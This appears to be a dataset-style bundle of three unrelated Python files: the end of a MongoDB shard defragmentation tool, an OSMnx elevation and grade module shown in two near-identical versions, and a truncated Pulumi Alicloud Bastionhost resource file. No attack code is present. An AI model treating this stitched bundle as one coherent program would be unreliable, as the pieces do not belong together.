logging.info(f"Number of small chunks: {num_small_chunks}, Number of chunks with unkown size: {num_chunks_no_size}")
if not total_chunks_to_process:
return total_moved_data_kb
with tqdm(total=total_chunks_to_process, unit=' chunks') as progress:
iteration = 0
while iteration < 25:
iteration += 1
progress.write(f"""Phase II: iteration {iteration}. Remainging chunks to process {progress.total - progress.n}, total chunks {len(chunks_id_index)}""")
moved_data_kb = 0
shards_to_process = [s for s in shard_to_chunks]
while(shards_to_process):
# get the shard with most data
shard_id = max(shards_to_process, key=lambda s: total_shard_size[s])
moved_data_kb += await move_merge_chunks_by_size(shard_id, progress)
shards_to_process.remove(shard_id)
total_moved_data_kb += moved_data_kb
# update shard_to_chunks
for s in shard_to_chunks:
shard_to_chunks[s]['chunks'] = []
for cid in chunks_id_index:
c = chunks_id_index[cid]
shard_to_chunks[c['shard']]['chunks'].append(c)
num_chunks = len(chunks_id_index)
if not args.dryrun:
num_chunks_actual = await cluster.configDb.chunks.count_documents(coll.chunks_query_filter())
assert(num_chunks_actual == num_chunks)
if moved_data_kb == 0 or progress.n == progress.total:
return total_moved_data_kb
if not shard_to_chunks:
# all subsequent phases assumes we have sizes for all chunks
# and all the chunks loaded in memory
await write_all_missing_chunk_size()
await load_chunks()
build_chunk_index()
############### Calculate stats #############
total_shard_size = {}
sum_coll_size = 0
for shard_id, entry in shard_to_chunks.items():
estimated_chunk_size_kb = args.phase_1_estimated_chunk_size_kb
if not args.dryrun:
estimated_chunk_size_kb = entry['size'] / float(len(entry['chunks']))
data_size = 0
for c in entry['chunks']:
if 'defrag_collection_est_size' in c:
data_size += c['defrag_collection_est_size']
else:
data_size += estimated_chunk_size_kb
total_shard_size[shard_id] = data_size
sum_coll_size += data_size
coll_size_kb = await coll.data_size_kb()
# If we run on a dummy cluster assume collection size
if args.dryrun and coll_size_kb == 1:
coll_size_kb = sum_coll_size
num_shards = len(shard_to_chunks)
avg_chunk_size_phase_1 = coll_size_kb / len(chunks_id_index)
############### End stats calculation #############
logging.info(f'Collection size {fmt_kb(coll_size_kb)}. Avg chunk size Phase I {fmt_kb(avg_chunk_size_phase_1)}')
for s in shard_to_chunks:
num_chunks_per_shard = len(shard_to_chunks[s]['chunks'])
data_size = total_shard_size[s]
logging.info(f"Number chunks on shard {s: >15}: {num_chunks_per_shard:7} Data-Size: {fmt_kb(data_size): >9}")
orig_shard_sizes = total_shard_size.copy()
# Only conditionally execute phase2, break here to get above log lines
if args.exec_phase == 'phase2' or args.exec_phase == 'all':
logging.info('Phase II: Moving and merging small chunks')
total_moved_data_kb = await phase_2()
else:
logging.info("Skipping Phase II")
total_moved_data_kb = 0
'''
for each chunk C in the shard:
- No split if chunk size < 133% target chunk size
- Split otherwise
'''
async def split_oversized_chunks(shard, progress):
shard_entry = shard_to_chunks[shard]
shard_chunks = shard_entry['chunks']
if args.dryrun or len(shard_chunks) == 0:
return
shard_entry = await coll.cluster.configDb.shards.find_one({'_id': shard})
if shard_entry is None:
raise Exception(f"cannot resolve shard {chunk['shard']}")
conn = await coll.cluster.make_direct_shard_connection(shard_entry)
last_split_time = time.perf_counter()
for c in shard_chunks:
progress.update()
chunk_size = await get_chunk_size(c)
if chunk_size > target_chunk_size_kb * 1.33:
await throttle_if_necessary(last_split_time, args.phase3_throttle_secs)
await coll.split_chunk(c, target_chunk_size_kb, conn)
last_split_time = time.perf_counter()
conn.close()
global splits_performed_per_shard
splits_performed_per_shard = {}
if args.exec_phase == 'phase3' or args.exec_phase == 'all':
logging.info(f'Phase III : Splitting oversized chunks')
num_chunks = len(chunks_id_index)
with tqdm(total=num_chunks, unit=' chunks') as progress:
tasks = []
for s in shard_to_chunks:
splits_performed_per_shard[s] = 0;
tasks.append(
asyncio.ensure_future(split_oversized_chunks(s, progress)))
if args.phase3_throttle_secs:
await asyncio.gather(*tasks)
tasks.clear()
await asyncio.gather(*tasks)
else:
logging.info("Skipping Phase III")
if not args.dryrun and args.write_size_on_exit:
await write_all_missing_chunk_size()
print("\n")
for s in shard_to_chunks:
num_splits_per_shard = splits_performed_per_shard.get(s, 0)
num_chunks_per_shard = len(shard_to_chunks[s]['chunks']) + num_splits_per_shard
avg_chunk_size_shard = total_shard_size[s] / num_chunks_per_shard if num_chunks_per_shard > 0 else 0
print(f"Number chunks on {s: >15}: {num_chunks_per_shard:7} Data-Size: {fmt_kb(total_shard_size[s]): >9} "
f" ({fmt_kb(total_shard_size[s] - orig_shard_sizes[s]): >9}) Avg chunk size {fmt_kb(avg_chunk_size_shard): >9}"
f" Splits performed {num_splits_per_shard}")
total_coll_size_kb = sum(total_shard_size.values())
total_num_chunks_phase_2 = len(chunks_id_index)
avg_chunk_size_phase_2 = total_coll_size_kb / total_num_chunks_phase_2
total_num_chunks_phase_3 = total_num_chunks_phase_2 + sum(splits_performed_per_shard.values())
avg_chunk_size_phase_3 = total_coll_size_kb / total_num_chunks_phase_3
ideal_num_chunks = math.ceil(total_coll_size_kb / target_chunk_size_kb)
print("\n");
print(f"""Number of chunks is {total_num_chunks_phase_3} the ideal number of chunks would be {ideal_num_chunks} for a collection size of {fmt_kb(total_coll_size_kb)}""")
print(f'Average chunk size: Phase I {fmt_kb(avg_chunk_size_phase_1)} | Phase II {fmt_kb(avg_chunk_size_phase_2)} | Phase III {fmt_kb(avg_chunk_size_phase_3)}')
print(f"Total moved data: {fmt_kb(total_moved_data_kb)} i.e. {(100 * total_moved_data_kb / total_coll_size_kb):.2f} %")
if __name__ == "__main__":
argsParser = argparse.ArgumentParser(
description=
"""Tool to defragment a sharded cluster in a way which minimises the rate at which the major
shard version gets bumped in order to minimise the amount of stalls due to refresh.""")
argsParser.add_argument(
'uri', help='URI of the mongos to connect to in the mongodb://[user:password@]host format',
metavar='uri', type=str)
argsParser.add_argument(
'--dryrun', help=
"""Indicates whether the script should perform actual durable changes to the cluster or just
print the commands which will be executed. If specified, it needs to be passed a value
(in MB) which indicates the target chunk size to be used for the simulation in case the
cluster doesn't have the chunkSize setting enabled. Since some phases of the script
depend on certain state of the cluster to have been reached by previous phases, if this
mode is selected, the script will stop early.""", metavar='target_chunk_size',
type=lambda x: int(x) * 1024, required=False)
argsParser.add_argument('--ns', help="""The namespace on which to perform defragmentation""",
metavar='ns', type=str, required=True)
argsParser.add_argument('--small-chunk-threshold', help="""Threshold for the size of chunks
eligable to be moved in Phase II. Fractional value between 0 and 0.5""",
metavar='fraction', dest='small_chunk_frac', type=float, default=0.25)
argsParser.add_argument('--shard-imbalance-threshold', help="""Threshold for the size difference
between two shards where chunks can be moved to. Fractional value between 1.0 and 1.5""",
metavar='fraction', dest="shard_imbalance_frac", type=float, default=1.2)
argsParser.add_argument(
'--no-write-chunk-size',
help="""Store chunk sizes in `config.chunks`""",
dest="no_write_chunk_size", action='store_true')
argsParser.add_argument(
'--phase_1_reset_progress',
help="""Applies only to Phase 1 and instructs the script to clear the chunk size estimation
and merge progress which may have been made by an earlier invocation""",
action='store_true')
argsParser.add_argument(
'--estimated_chunk_size_mb',
help="""Only used in dry-runs to estimate the chunk size (in MiB) instead of calling dataSize.
The default is chosen as 40%% of 64MB, which states that we project that under the
current 64MB chunkSize default and the way the auto-splitter operates, the collection's
chunks are only about 40%% full.
""", metavar='chunk_size_mb', dest='phase_1_estimated_chunk_size_kb',
type=lambda x: int(x) * 1024, default=64 * 1024 * 0.40)
argsParser.add_argument(
'--phase_1_calc_size_threshold',
help="""Applies only to Phase 1: when the estimated size of a batch surpasses this threshold
(expressed as a percentage of the target chunk size), a real calculation of the batch size
will be triggered. Fractional value between 0.0 and 1.0""",
metavar="fraction_of_chunk_size",
dest='threshold_for_size_calculation',
type=float,
default=0.9)
argsParser.add_argument(
'--phases',
help="""Which phase of the defragmentation algorithm to execute.""",
metavar='phase', dest="exec_phase", type=str, default='all', choices=[
'all', 'phase1', 'phase2', 'phase3'
])
argsParser.add_argument(
'--phase_2_max_migrations',
help="""Maximum number of migrations.""",
metavar='max_migrations', dest="max_migrations", type=int, default=-1)
argsParser.add_argument(
'--write-size-on-exit',
help="""Used for debugging purposes, write all missing data size estimation on disk before exit.""",
dest="write_size_on_exit", action='store_true')
argsParser.add_argument(
'--no-parallel-merges',
help="""Specify whether merges should be executed in parallel or not.""",
dest="no_parallel_merges", action='store_true')
argsParser.add_argument(
'--phase1-throttle-secs',
help="""Specify the time in fractional seconds used to throttle phase1. Only one merge will be performed every X seconds.""",
metavar='secs', dest='phase1_throttle_secs', type=float, default=0)
argsParser.add_argument(
'--phase2-throttle-secs',
help="""Specify the time in fractional seconds used to throttle phase2. Only one merge will be performed every X seconds.""",
metavar='secs', dest="phase2_throttle_secs", type=float, default=0)
argsParser.add_argument(
'--phase3-throttle-secs',
help="""Specify the time in fractional seconds used to throttle phase3. Only one split will be performed every X seconds.""",
metavar='secs', dest='phase3_throttle_secs', type=float, default=0)
list = " ".join(sys.argv[1:])
logging.basicConfig(format='%(asctime)s [%(levelname)s] %(message)s', level=logging.INFO)
logging.info(f"Starting with parameters: '{list}'")
args = argsParser.parse_args()
loop = asyncio.get_event_loop()
loop.run_until_complete(main(args))
|
"""Get node elevations and calculate edge grades."""
import multiprocessing as mp
import time
from hashlib import sha1
from pathlib import Path
import networkx as nx
import numpy as np
import pandas as pd
import requests
from . import downloader
from . import utils
from . import utils_graph
# rasterio and gdal are optional dependencies for raster querying
try:
import rasterio
from osgeo import gdal
except ImportError: # pragma: no cover
rasterio = gdal = None
def _query_raster(nodes, filepath, band):
"""
Query a raster for values at coordinates in a DataFrame's x/y columns.
Parameters
----------
nodes : pandas.DataFrame
DataFrame indexed by node ID and with two columns: x and y
filepath : string or pathlib.Path
path to the raster file or VRT to query
band : int
which raster band to query
Returns
-------
nodes_values : zip
zipped node IDs and corresponding raster values
"""
# must open raster file here: cannot pickle it to pass in multiprocessing
with rasterio.open(filepath) as raster:
values = np.array(tuple(raster.sample(nodes.values, band)), dtype=float).squeeze()
values[values == raster.nodata] = np.nan
return zip(nodes.index, values)
def add_node_elevations_raster(G, filepath, band=1, cpus=None):
"""
Add `elevation` attribute to each node from local raster file(s).
If `filepath` is a list of paths, this will generate a virtual raster
composed of the files at those paths as an intermediate step.
See also the `add_edge_grades` function.
Parameters
----------
G : networkx.MultiDiGraph
input graph, in same CRS as raster
filepath : string or pathlib.Path or list of strings/Paths
path (or list of paths) to the raster file(s) to query
band : int
which raster band to query
cpus : int
how many CPU cores to use; if None, use all available
Returns
-------
G : networkx.MultiDiGraph
graph with node elevation attributes
"""
if rasterio is None or gdal is None: # pragma: no cover
raise ImportError("gdal and rasterio must be installed to query raster files")
if cpus is None:
cpus = mp.cpu_count()
cpus = min(cpus, mp.cpu_count())
utils.log(f"Attaching elevations with {cpus} CPUs...")
# if a list of filepaths is passed, compose them all as a virtual raster
# use the sha1 hash of the filepaths list as the vrt filename
if not isinstance(filepath, (str, Path)):
filepaths = [str(p) for p in filepath]
sha = sha1(str(filepaths).encode("utf-8")).hexdigest()
filepath = f"./.osmnx_{sha}.vrt"
gdal.BuildVRT(filepath, filepaths).FlushCache()
nodes = utils_graph.graph_to_gdfs(G, edges=False, node_geometry=False)[["x", "y"]]
if cpus == 1:
elevs = dict(_query_raster(nodes, filepath, band))
else:
# divide nodes into equal-sized chunks for multiprocessing
size = int(np.ceil(len(nodes) / cpus))
args = ((nodes.iloc[i : i + size], filepath, band) for i in range(0, len(nodes), size))
pool = mp.Pool(cpus)
sma = pool.starmap_async(_query_raster, args)
results = sma.get()
pool.close()
pool.join()
elevs = {k: v for kv in results for k, v in kv}
assert len(G) == len(elevs)
nx.set_node_attributes(G, elevs, name="elevation")
utils.log("Added elevation data from raster to all nodes.")
return G
def add_node_elevations_google(
G, api_key, max_locations_per_batch=350, pause_duration=0, precision=3
): # pragma: no cover
"""
Add `elevation` (meters) attribute to each node using a web service.
This uses the Google Maps Elevation API and requires an API key. For a
free, local alternative, see the `add_node_elevations_raster` function.
See also the `add_edge_grades` function.
Parameters
----------
G : networkx.MultiDiGraph
input graph
api_key : string
a Google Maps Elevation API key
max_locations_per_batch : int
max number of coordinate pairs to submit in each API call (if this is
too high, the server will reject the request because its character
limit exceeds the max allowed)
pause_duration : float
time to pause between API calls, which can be increased if you get
rate limited
precision : int
decimal precision to round elevation values
Returns
-------
G : networkx.MultiDiGraph
graph with node elevation attributes
"""
# elevation API endpoint ready for use
url_template = "https://maps.googleapis.com/maps/api/elevation/json?locations={}&key={}"
# make a pandas series of all the nodes' coordinates as 'lat,lng'
# round coordinates to 5 decimal places (approx 1 meter) to be able to fit
# in more locations per API call
node_points = pd.Series(
{node: f'{data['y']:.5f},{data['x']:.5f}' for node, data in G.nodes(data=True)}
)
n_calls = int(np.ceil(len(node_points) / max_locations_per_batch))
utils.log(f"Requesting node elevations from the API in {n_calls} calls")
# break the series of coordinates into chunks of size max_locations_per_batch
# API format is locations=lat,lng|lat,lng|lat,lng|lat,lng...
results = []
for i in range(0, len(node_points), max_locations_per_batch):
chunk = node_points.iloc[i : i + max_locations_per_batch]
locations = "|".join(chunk)
url = url_template.format(locations, api_key)
# check if this request is already in the cache (if global use_cache=True)
cached_response_json = downloader._retrieve_from_cache(url)
if cached_response_json is not None:
response_json = cached_response_json
else:
try:
# request the elevations from the API
utils.log(f"Requesting node elevations: {url}")
time.sleep(pause_duration)
response = requests.get(url)
response_json = response.json()
downloader._save_to_cache(url, response_json, response.status_code)
except Exception as e:
utils.log(e)
utils.log(f"Server responded with {response.status_code}: {response.reason}")
# append these elevation results to the list of all results
results.extend(response_json["results"])
# sanity check that all our vectors have the same number of elements
if not (len(results) == len(G) == len(node_points)):
raise Exception(
f"Graph has {len(G)} nodes but we received {len(results)} results from elevation API"
)
else:
utils.log(
f"Graph has {len(G)} nodes and we received {len(results)} results from elevation API"
)
# add elevation as an attribute to the nodes
df = pd.DataFrame(node_points, columns=["node_points"])
df["elevation"] = [result["elevation"] for result in results]
df["elevation"] = df["elevation"].round(precision)
nx.set_node_attributes(G, name="elevation", values=df["elevation"].to_dict())
utils.log("Added elevation data from Google to all nodes.")
return G
def add_edge_grades(G, add_absolute=True, precision=3):
"""
Add `grade` attribute to each graph edge.
Vectorized function to calculate the directed grade (ie, rise over run)
for each edge in the graph and add it to the edge as an attribute. Nodes
must already have `elevation` attributes to use this function.
See also the `add_node_elevations_raster` and `add_node_elevations_google`
functions.
Parameters
----------
G : networkx.MultiDiGraph
input graph with `elevation` node attribute
add_absolute : bool
if True, also add absolute value of grade as `grade_abs` attribute
precision : int
decimal precision to round grade values
Returns
-------
G : networkx.MultiDiGraph
graph with edge `grade` (and optionally `grade_abs`) attributes
"""
elev_lookup = G.nodes(data="elevation")
u, v, k, lengths = zip(*G.edges(keys=True, data="length"))
uvk = tuple(zip(u, v, k))
# calculate edges' elevation changes from u to v then divide by lengths
elevs = np.array([(elev_lookup[u], elev_lookup[v]) for u, v, k in uvk])
grades = ((elevs[:, 1] - elevs[:, 0]) / np.array(lengths)).round(precision)
nx.set_edge_attributes(G, dict(zip(uvk, grades)), name="grade")
# optionally add grade absolute value to the edge attributes
if add_absolute:
nx.set_edge_attributes(G, dict(zip(uvk, np.abs(grades))), name="grade_abs")
utils.log("Added grade attributes to all edges.")
return G
| """Get node elevations and calculate edge grades."""
import multiprocessing as mp
import time
from hashlib import sha1
from pathlib import Path
import networkx as nx
import numpy as np
import pandas as pd
import requests
from . import downloader
from . import utils
from . import utils_graph
# rasterio and gdal are optional dependencies for raster querying
try:
import rasterio
from osgeo import gdal
except ImportError: # pragma: no cover
rasterio = gdal = None
def _query_raster(nodes, filepath, band):
"""
Query a raster for values at coordinates in a DataFrame's x/y columns.
Parameters
----------
nodes : pandas.DataFrame
DataFrame indexed by node ID and with two columns: x and y
filepath : string or pathlib.Path
path to the raster file or VRT to query
band : int
which raster band to query
Returns
-------
nodes_values : zip
zipped node IDs and corresponding raster values
"""
# must open raster file here: cannot pickle it to pass in multiprocessing
with rasterio.open(filepath) as raster:
values = np.array(tuple(raster.sample(nodes.values, band)), dtype=float).squeeze()
values[values == raster.nodata] = np.nan
return zip(nodes.index, values)
def add_node_elevations_raster(G, filepath, band=1, cpus=None):
"""
Add `elevation` attribute to each node from local raster file(s).
If `filepath` is a list of paths, this will generate a virtual raster
composed of the files at those paths as an intermediate step.
See also the `add_edge_grades` function.
Parameters
----------
G : networkx.MultiDiGraph
input graph, in same CRS as raster
filepath : string or pathlib.Path or list of strings/Paths
path (or list of paths) to the raster file(s) to query
band : int
which raster band to query
cpus : int
how many CPU cores to use; if None, use all available
Returns
-------
G : networkx.MultiDiGraph
graph with node elevation attributes
"""
if rasterio is None or gdal is None: # pragma: no cover
raise ImportError("gdal and rasterio must be installed to query raster files")
if cpus is None:
cpus = mp.cpu_count()
cpus = min(cpus, mp.cpu_count())
utils.log(f"Attaching elevations with {cpus} CPUs...")
# if a list of filepaths is passed, compose them all as a virtual raster
# use the sha1 hash of the filepaths list as the vrt filename
if not isinstance(filepath, (str, Path)):
filepaths = [str(p) for p in filepath]
sha = sha1(str(filepaths).encode("utf-8")).hexdigest()
filepath = f"./.osmnx_{sha}.vrt"
gdal.BuildVRT(filepath, filepaths).FlushCache()
nodes = utils_graph.graph_to_gdfs(G, edges=False, node_geometry=False)[["x", "y"]]
if cpus == 1:
elevs = dict(_query_raster(nodes, filepath, band))
else:
# divide nodes into equal-sized chunks for multiprocessing
size = int(np.ceil(len(nodes) / cpus))
args = ((nodes.iloc[i : i + size], filepath, band) for i in range(0, len(nodes), size))
pool = mp.Pool(cpus)
sma = pool.starmap_async(_query_raster, args)
results = sma.get()
pool.close()
pool.join()
elevs = {k: v for kv in results for k, v in kv}
assert len(G) == len(elevs)
nx.set_node_attributes(G, elevs, name="elevation")
utils.log("Added elevation data from raster to all nodes.")
return G
def add_node_elevations_google(
G, api_key, max_locations_per_batch=350, pause_duration=0, precision=3
): # pragma: no cover
"""
Add `elevation` (meters) attribute to each node using a web service.
This uses the Google Maps Elevation API and requires an API key. For a
free, local alternative, see the `add_node_elevations_raster` function.
See also the `add_edge_grades` function.
Parameters
----------
G : networkx.MultiDiGraph
input graph
api_key : string
a Google Maps Elevation API key
max_locations_per_batch : int
max number of coordinate pairs to submit in each API call (if this is
too high, the server will reject the request because its character
limit exceeds the max allowed)
pause_duration : float
time to pause between API calls, which can be increased if you get
rate limited
precision : int
decimal precision to round elevation values
Returns
-------
G : networkx.MultiDiGraph
graph with node elevation attributes
"""
# elevation API endpoint ready for use
url_template = "https://maps.googleapis.com/maps/api/elevation/json?locations={}&key={}"
# make a pandas series of all the nodes' coordinates as 'lat,lng'
# round coordinates to 5 decimal places (approx 1 meter) to be able to fit
# in more locations per API call
node_points = pd.Series(
{node: f'{data["y"]:.5f},{data["x"]:.5f}' for node, data in G.nodes(data=True)}
)
n_calls = int(np.ceil(len(node_points) / max_locations_per_batch))
utils.log(f"Requesting node elevations from the API in {n_calls} calls")
# break the series of coordinates into chunks of size max_locations_per_batch
# API format is locations=lat,lng|lat,lng|lat,lng|lat,lng...
results = []
for i in range(0, len(node_points), max_locations_per_batch):
chunk = node_points.iloc[i : i + max_locations_per_batch]
locations = "|".join(chunk)
url = url_template.format(locations, api_key)
# check if this request is already in the cache (if global use_cache=True)
cached_response_json = downloader._retrieve_from_cache(url)
if cached_response_json is not None:
response_json = cached_response_json
else:
try:
# request the elevations from the API
utils.log(f"Requesting node elevations: {url}")
time.sleep(pause_duration)
response = requests.get(url)
response_json = response.json()
downloader._save_to_cache(url, response_json, response.status_code)
except Exception as e:
utils.log(e)
utils.log(f"Server responded with {response.status_code}: {response.reason}")
# append these elevation results to the list of all results
results.extend(response_json["results"])
# sanity check that all our vectors have the same number of elements
if not (len(results) == len(G) == len(node_points)):
raise Exception(
f"Graph has {len(G)} nodes but we received {len(results)} results from elevation API"
)
else:
utils.log(
f"Graph has {len(G)} nodes and we received {len(results)} results from elevation API"
)
# add elevation as an attribute to the nodes
df = pd.DataFrame(node_points, columns=["node_points"])
df["elevation"] = [result["elevation"] for result in results]
df["elevation"] = df["elevation"].round(precision)
nx.set_node_attributes(G, name="elevation", values=df["elevation"].to_dict())
utils.log("Added elevation data from Google to all nodes.")
return G
def add_edge_grades(G, add_absolute=True, precision=3):
"""
Add `grade` attribute to each graph edge.
Vectorized function to calculate the directed grade (ie, rise over run)
for each edge in the graph and add it to the edge as an attribute. Nodes
must already have `elevation` attributes to use this function.
See also the `add_node_elevations_raster` and `add_node_elevations_google`
functions.
Parameters
----------
G : networkx.MultiDiGraph
input graph with `elevation` node attribute
add_absolute : bool
if True, also add absolute value of grade as `grade_abs` attribute
precision : int
decimal precision to round grade values
Returns
-------
G : networkx.MultiDiGraph
graph with edge `grade` (and optionally `grade_abs`) attributes
"""
elev_lookup = G.nodes(data="elevation")
u, v, k, lengths = zip(*G.edges(keys=True, data="length"))
uvk = tuple(zip(u, v, k))
# calculate edges' elevation changes from u to v then divide by lengths
elevs = np.array([(elev_lookup[u], elev_lookup[v]) for u, v, k in uvk])
grades = ((elevs[:, 1] - elevs[:, 0]) / np.array(lengths)).round(precision)
nx.set_edge_attributes(G, dict(zip(uvk, grades)), name="grade")
# optionally add grade absolute value to the edge attributes
if add_absolute:
nx.set_edge_attributes(G, dict(zip(uvk, np.abs(grades))), name="grade_abs")
utils.log("Added grade attributes to all edges.")
return G
|
# coding=utf-8
# *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
import warnings
import pulumi
import pulumi.runtime
from typing import Any, Mapping, Optional, Sequence, Union, overload
from .. import _utilities
__all__ = ['HostGroupAccountUserAttachmentArgs', 'HostGroupAccountUserAttachment']
@pulumi.input_type
class HostGroupAccountUserAttachmentArgs:
def __init__(__self__, *,
host_account_names: pulumi.Input[Sequence[pulumi.Input[str]]],
host_group_id: pulumi.Input[str],
instance_id: pulumi.Input[str],
user_id: pulumi.Input[str]):
"""
The set of arguments for constructing a HostGroupAccountUserAttachment resource.
:param pulumi.Input[Sequence[pulumi.Input[str]]] host_account_names: A list names of the host account.
:param pulumi.Input[str] host_group_id: The ID of the host group.
:param pulumi.Input[str] instance_id: The ID of the Bastionhost instance where you want to authorize the user to manage the specified hosts and host accounts.
:param pulumi.Input[str] user_id: The ID of the user that you want to authorize to manage the specified hosts and host accounts.
"""
pulumi.set(__self__, "host_account_names", host_account_names)
pulumi.set(__self__, "host_group_id", host_group_id)
pulumi.set(__self__, "instance_id", instance_id)
pulumi.set(__self__, "user_id", user_id)
@property
@pulumi.getter(name="hostAccountNames")
def host_account_names(self) -> pulumi.Input[Sequence[pulumi.Input[str]]]:
"""
A list names of the host account.
"""
return pulumi.get(self, "host_account_names")
@host_account_names.setter
def host_account_names(self, value: pulumi.Input[Sequence[pulumi.Input[str]]]):
pulumi.set(self, "host_account_names", value)
@property
@pulumi.getter(name="hostGroupId")
def host_group_id(self) -> pulumi.Input[str]:
"""
The ID of the host group.
"""
return pulumi.get(self, "host_group_id")
@host_group_id.setter
def host_group_id(self, value: pulumi.Input[str]):
pulumi.set(self, "host_group_id", value)
@property
@pulumi.getter(name="instanceId")
def instance_id(self) -> pulumi.Input[str]:
"""
The ID of the Bastionhost instance where you want to authorize the user to manage the specified hosts and host accounts.
"""
return pulumi.get(self, "instance_id")
@instance_id.setter
def instance_id(self, value: pulumi.Input[str]):
pulumi.set(self, "instance_id", value)
@property
@pulumi.getter(name="userId")
def user_id(self) -> pulumi.Input[str]:
"""
The ID of the user that you want to authorize to manage the specified hosts and host accounts.
"""
return pulumi.get(self, "user_id")
@user_id.setter
def user_id(self, value: pulumi.Input[str]):
pulumi.set(self, "user_id", value)
@pulumi.input_type
class _HostGroupAccountUserAttachmentState:
def __init__(__self__, *,
host_account_names: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
host_group_id: Optional[pulumi.Input[str]] = None,
instance_id: Optional[pulumi.Input[str]] = None,
user_id: Optional[pulumi.Input[str]] = None):
"""
Input properties used for looking up and filtering HostGroupAccountUserAttachment resources.
:param pulumi.Input[Sequence[pulumi.Input[str]]] host_account_names: A list names of the host account.
:param pulumi.Input[str] host_group_id: The ID of the host group.
:param pulumi.Input[str] instance_id: The ID of the Bastionhost instance where you want to authorize the user to manage the specified hosts and host accounts.
:param pulumi.Input[str] user_id: The ID of the user that you want to authorize to manage the specified hosts and host accounts.
"""
if host_account_names is not None:
pulumi.set(__self__, "host_account_names", host_account_names)
if host_group_id is not None:
pulumi.set(__self__, "host_group_id", host_group_id)
if instance_id is not None:
pulumi.set(__self__, "instance_id", instance_id)
if user_id is not None:
pulumi.set(__self__, "user_id", user_id)
@property
@pulumi.getter(name="hostAccountNames")
def host_account_names(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]:
"""
A list names of the host account.
"""
return pulumi.get(self, "host_account_names")
@host_account_names.setter
def host_account_names(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]):
pulumi.set(self, "host_account_names", value)
@property
@pulumi.getter(name="hostGroupId")
def host_group_id(self) -> Optional[pulumi.Input[str]]:
"""
The ID of the host group.
"""
return pulumi.get(self, "host_group_id")
@host_group_id.setter
def host_group_id(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "host_group_id", value)
@property
@pulumi.getter(name="instanceId")
def instance_id(self) -> Optional[pulumi.Input[str]]:
"""
The ID of the Bastionhost instance where you want to authorize the user to manage the specified hosts and host accounts.
"""
return pulumi.get(self, "instance_id")
@instance_id.setter
def instance_id(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "instance_id", value)
@property
@pulumi.getter(name="userId")
def user_id(self) -> Optional[pulumi.Input[str]]:
"""
The ID of the user that you want to authorize to manage the specified hosts and host accounts.
"""
return pulumi.get(self, "user_id")
@user_id.setter
def user_id(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "user_id", value)
class HostGroupAccountUserAttachment(pulumi.CustomResource):
@overload
def __init__(__self__,
resource_name: str,
opts: Optional[pulumi.ResourceOptions] = None,
host_account_names: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
host_group_id: Optional[pulumi.Input[str]] = None,
instance_id: Optional[pulumi.Input[str]] = None,
user_id: Optional[pulumi.Input[str]] = None,
__props__=None):
"""
Provides a Bastion Host Host Account Attachment resource to add list host accounts into one user and one host group.
> **NOTE:** Available in v1.135.0+.
## Example Usage
Basic Usage
```python
import pulumi
import pulumi_alicloud as alicloud
default_host = alicloud.bastionhost.Host("defaultHost",
instance_id="bastionhost-cn-tl3xxxxxxx",
host_name=var["name"],
active_address_type="Private",
host_private_address="172.16.0.10",
os_type="Linux",
source="Local")
default_host_account = []
for range in [{"value": i} for i in range(0, 3)]:
default_host_account.append(alicloud.bastionhost.HostAccount(f"defaultHostAccount-{range["value"]}",
instance_id=default_host.instance_id,
host_account_name=f"example_value-{range["value"]}",
host_id=default_host.host_id,
protocol_name="SSH",
password="YourPassword12345"))
default_user = alicloud.bastionhost.User("defaultUser",
instance_id=default_host.instance_id,
mobile_country_code="CN",
mobile="13312345678",
password="YourPassword-123",
source="Local",
user_name="my-local-user")
default_host_group = alicloud.bastionhost.HostGroup("defaultHostGroup",
host_group_name="example_value",
instance_id="bastionhost-cn-tl3xxxxxxx")
default_host_group_account_user_attachment = alicloud.bastionhost.HostGroupAccountUserAttachment("defaultHostGroupAccountUserAttachment",
instance_id=default_host.instance_id,
user_id=default_user.user_id,
host_group_id=default_host_group.host_group_id,
host_account_names=[__item.host_account_name for __item in default_host_account])
```
## Import
Bastion Host Host Account can be imported using the id, e.g.
```sh
$ pulumi import alicloud:bastionhost/hostGroupAccountUserAttachment:HostGroupAccountUserAttachment example <instance_id>:<user_id>:<host_group_id>
```
:param str resource_name: The name of the resource.
:param pulumi.ResourceOptions opts: Options for the resource.
:param pulumi.Input[Sequence[pulumi.Input[str]]] host_account_names: A list names of the host account.
:param pulumi.Input[str] host_group_id: The ID of the host group.
:param pulumi.Input[str] instance_id: The ID of the Bastionhost instance where you want to authorize the user to manage the specified hosts and host accounts.
:param pulumi.Input[str] user_id: The ID of the user that you want to authorize to manage the specified hosts and host accounts.
"""
...
@overload
def __init__(__self__,
resource_name: str,
args: HostGroupAccountUserAttachmentArgs,
opts: Optional[pulumi.ResourceOptions] = None):
"""
Provides a Bastion Host Host Account Attachment resource to add list host accounts into one user and one host group.
> **NOTE:** Available in v1.135.0+.
## Example Usage
Basic Usage
```python
import pulumi
import pulumi_alicloud as alicloud
default_host = alicloud.bastionhost.Host("defaultHost",
instance_id="bastionhost-cn-tl3xxxxxxx",
host_name=var["name"],
active_address_type="Private",
host_private_address="172.16.0.10",
os_type="Linux",
source="Local")
default_host_account = []
for range in [{"value": i} for i in range(0, 3)]:
default_host_account.append(alicloud.bastionhost.HostAccount(f"defaultHostAccount-{range["value"]}",
instance_id=default_host.instance_id,
host_account_name=f"example_value-{range["value"]}",
host_id=default_host.host_id,
protocol_name="SSH",
password="YourPassword12345"))
default_user = alicloud.bastionhost.User("defaultUser",
instance_id=default_host.instance_id,
mobile_country_code="CN",
mobile="13312345678",
password="YourPassword-123",
source="Local",
user_name="my-local-user")
default_host_group = alicloud.bastionhost.HostGroup("defaultHostGroup",
host_group_name="example_value",
instance_id="bastionhost-cn-tl3xxxxxxx")
default_host_group_account_user_attachment = alicloud.bastionhost.HostGroupAccountUserAttachment("defaultHostGroupAccountUserAttachment",
instance_id=default_host.instance_id,
user_id=default_user.user_id,
host_group_id=default_host_group.host_group_id,
host_account_names=[__item.host_account_name for __item in default_host_account])
```
## Import
Bastion Host Host Account can be imported using the id, e.g.
```sh
